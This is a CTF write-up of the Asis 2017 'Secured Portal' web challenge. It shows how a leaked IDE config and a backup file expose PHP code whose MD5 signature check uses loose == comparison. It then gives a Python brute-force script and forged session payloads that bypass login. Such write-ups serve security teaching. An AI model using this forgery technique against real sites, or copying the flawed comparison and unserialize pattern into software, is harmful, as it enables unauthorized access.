title: Asis CTF 2017 - Secured Portal Write Up
author: depierre
published: 2017-04-08
categories: Security
keywords: asis, ctf, write-up, web, challenge, php, type, juggling
The [Asis CTF](https://asis-ctf.ir/) was taking place this weekend and, although I only looked at two challenges, I
really found them interesting and well crafted, especially the second level. The challenges I am talking about are the
web Secured Portal and 2nd Secured Portal.

In this write-up, I am covering the first level: Secured Portal.
# Intelligence gathering
The [homepage](http://46.101.96.182/) of the challenge only shows a static image and nothing more. Looking at the
source code, we can start gathering some intelligence that we could leverage later on. For instance, there is a
[`functions.js`](http://46.101.96.182/js/functions.js) file with some infos:
:::javascript hl_lines="3 18 30"
/**
* Created by root on 3/24/17.
* coded via PhpStorm :)
*/
/* . . . */
$(document).ready(function() {
$("#login").click(function(event){
event.preventDefault();
var username = $("#inputUsername").val();
var password = $("#inputPassword").val();
var loginString = btoa(username + ':' + password);
$.get('/authentication/login/' + loginString, function(data){
var loginString = readCookie('loginString');
if(typeof loginString == 'undefined'){
$("#showResult").remove();
$("#result").append('
');
$("#showResult").addClass('alert').addClass('alert-danger').html('Invalid credentials have been given.');
}else{
$("#showResult").remove();
$("#result").append('');
$("#showResult").addClass('alert').addClass('alert-success').html('Login success, please wait until you are being redirected to the panel');
setTimeout(function(){ window.location = '/panel/index?auth=' + decodeURI(loginString); }, 3000);
}
});
});
})
We get a few URLs (`/authentication/login/` and `/panel/index?auth=`). The first
`loginString` seems to be the username and password of the user encoded in base64 (like HTTP Basic authentication). The
second `loginString` seems to be a session-like object to send along when accessing the portal pages. We can't really
make anything out of these URLs without more information, like a set of credentials or the source code maybe.
Another clue is the comment at the beginning of the file: coded via **PhpStorm**. As mentioned in the description of
the challenge, the author of the web portal used his IDE on the server, most likely leaving temporary and configuration
files behind (like `.swp` or `~` files for instance).

After installing PhpStorm in a VM and creating a dummy project, we can see that configuration files like
`workspace.xml` are created in the `.idea` directory. Let's try that:
:::http
GET /.idea/workspace.xml HTTP/1.1
Host: 46.101.96.182
Which returns:
:::http hl_lines="22"
HTTP/1.1 200 OK
Date: Sun, 09 Apr 2017 09:37:49 GMT
Server: Apache
Last-Modified: Fri, 31 Mar 2017 13:15:51 GMT
ETag: "2399-54c069bd2a608"
Accept-Ranges: bytes
Content-Length: 9113
Vary: Accept-Encoding
Connection: close
Content-Type: application/xml
[ . . . ]
[ . . . ]
We can now access some backup file (`/backup/panel.class.php.bk`), which contains exactly what we needed:
:::php hl_lines="33 39 44 45 51"
__db = $db;
$sessionString = null;
/**
* gathering authentication string by auth parameter in HTTP request
*/
if(array_key_exists('auth', $_GET))
$sessionString = $_GET['auth'];
if(strlen($sessionString) > 32){
$signature = substr($sessionString, -32);
$payload = base64_decode(substr($sessionString, 0, -32));
/**
* real signature calculation based on the key
*/
$realSign = md5($payload.$this->__sessionKey);
/**
* making it impossible to login, if the site is under maintenance,
*/
if(__MAINTENANCE__===true)
$realSign = substr($realSign, 0, 6);
/**
* checking signature, prevent to data forgery by user
*/
if($realSign == $signature){
$this->data = unserialize($payload);
if(is_array($this->data)){
/**
* checking login status
*/
if($this->data['logged']===true){
$this->__auth = true;
}
}
}
}
}
/* . . . */
/**
* send http request to contact server, after the validity of message format is checked, we will look at messages in paper print
*/
function flag(){
if(!$this->__auth){
echo 'login required';
return false;
}
/*
* WOW, SEEMS THE FLAG IS HERE :)
*/
require 'includes/flag.php';
}
/* . . . */
I only pasted the snippet handling the authentication for now. In short, the `loginString` is a base64 encoded
serialized PHP array appended with a 32 bytes md5 hash. As indicated in the comments, the author will only uses the
first 6 character of the md5 hash to compare it with the real one, which should make the next comparison impossible and
prevent people from connecting (if PHP didn't suck).
If we pass the signature check though, then our base64 encoded data is unserialized. If the unserialized object
contains `logged` set to `true`, we are successfully authenticated.
# PHP type juggling
The issue here is a [PHP type juggling](http://phpsadness.com/sad/47) vulnerability, where the hashes are compared
using `==` instead of `===`, meaning that PHP will do some stupid things (like casting the variables for you). For
instance:
:::php
false
0 == "0" // -> true
In our case, if we can manage to have `$realSign` matching `0+[eE]\d{4}.*` (e.g. *0e1234abcd...*) on the left side and
`$signature` set to `00000000000000000000000000000000` on the right side, then PHP will try to cast the `$realSign` to
a number using the **scientific notation** (which results in 0), which is equal to the `000...` hash we provided.
So to sum up, to bypass the authentication, we need to:
+ Provide a base64 encoded serialized PHP object that, when concatenated with the secret key, has a md5 hash matching
`0+[eE]\d{4}.*`
+ Provide a md5 hash composed of 0 or matching `0+[eE]\d{4}.*`
+ The serialized PHP object must be an array containing `logged` set to `true`
The following python script does all of that. It uses a very stupid approach to brute-force the md5 hash. Basically,
our PHP object will contain an extra dummy parameter, called `foo`, that will be padded using characters from the ASCII
table.
:::python
import sys
import base64
import string
import requests
URL = 'http://46.101.96.182/panel/index'
SIG = '00000000000000000000000000000000'
template = 'a:2:{s:6:"logged";b:1;s:3:"foo";s:%d:"%s";}'
for c in string.letters + string.digits:
for i in range(0, 500):
OBJ = template % (i, c * i)
r = requests.get(URL, params={'auth': base64.b64encode(OBJ) + SIG})
if not 'login required' in r.text:
print('found collision')
print(OBJ)
print(base64.b64encode(OBJ))
sys.exit(0)
The script yields the following payload:
:::bash
found collision
a:2:{s:6:"logged";b:1;s:3:"foo";s:23:"ccccccccccccccccccccccc";}
YToyOntzOjY6ImxvZ2dlZCI7YjoxO3M6MzoiZm9vIjtzOjIzOiJjY2NjY2NjY2NjY2NjY2NjY2NjY2NjYyI7fQ==
Let's try it:
:::http
GET /panel/flag?auth=YToyOntzOjY6ImxvZ2dlZCI7YjoxO3M6MzoiZm9vIjtzOjIzOiJjY2NjY2NjY2NjY2NjY2NjY2NjY2NjYyI7fQ==00000000000000000000000000000000 HTTP/1.1
Host: 46.101.96.182
Which returns the flag:
:::http hl_lines="12"
HTTP/1.1 200 OK
Date: Sun, 09 Apr 2017 10:13:10 GMT
Server: Apache
Vary: Accept-Encoding
Content-Length: 952
Connection: close
Content-Type: text/html; charset=UTF-8
[ . . . ]